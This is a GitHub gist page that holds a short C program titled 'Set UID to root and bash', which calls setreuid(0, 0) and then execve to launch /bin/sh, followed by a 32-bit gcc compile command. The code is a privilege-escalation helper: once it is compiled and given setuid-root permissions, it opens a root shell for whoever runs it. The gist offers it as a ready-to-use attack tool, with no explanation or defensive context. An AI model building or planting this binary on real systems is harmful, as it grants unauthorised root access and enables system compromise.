Skip to content

Instantly share code, notes, and snippets.

@trimkadriu
Created November 4, 2018 07:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save trimkadriu/697400331cf78efd3e5f508947a09b74 to your computer and use it in GitHub Desktop.
Save trimkadriu/697400331cf78efd3e5f508947a09b74 to your computer and use it in GitHub Desktop.
Set UID to root and bash
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (int argc, char *argv[])
{
setreuid(0, 0);
execve("/bin/sh", NULL, NULL);
}
#gcc -m32 -o bin-file-name setuid.c
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment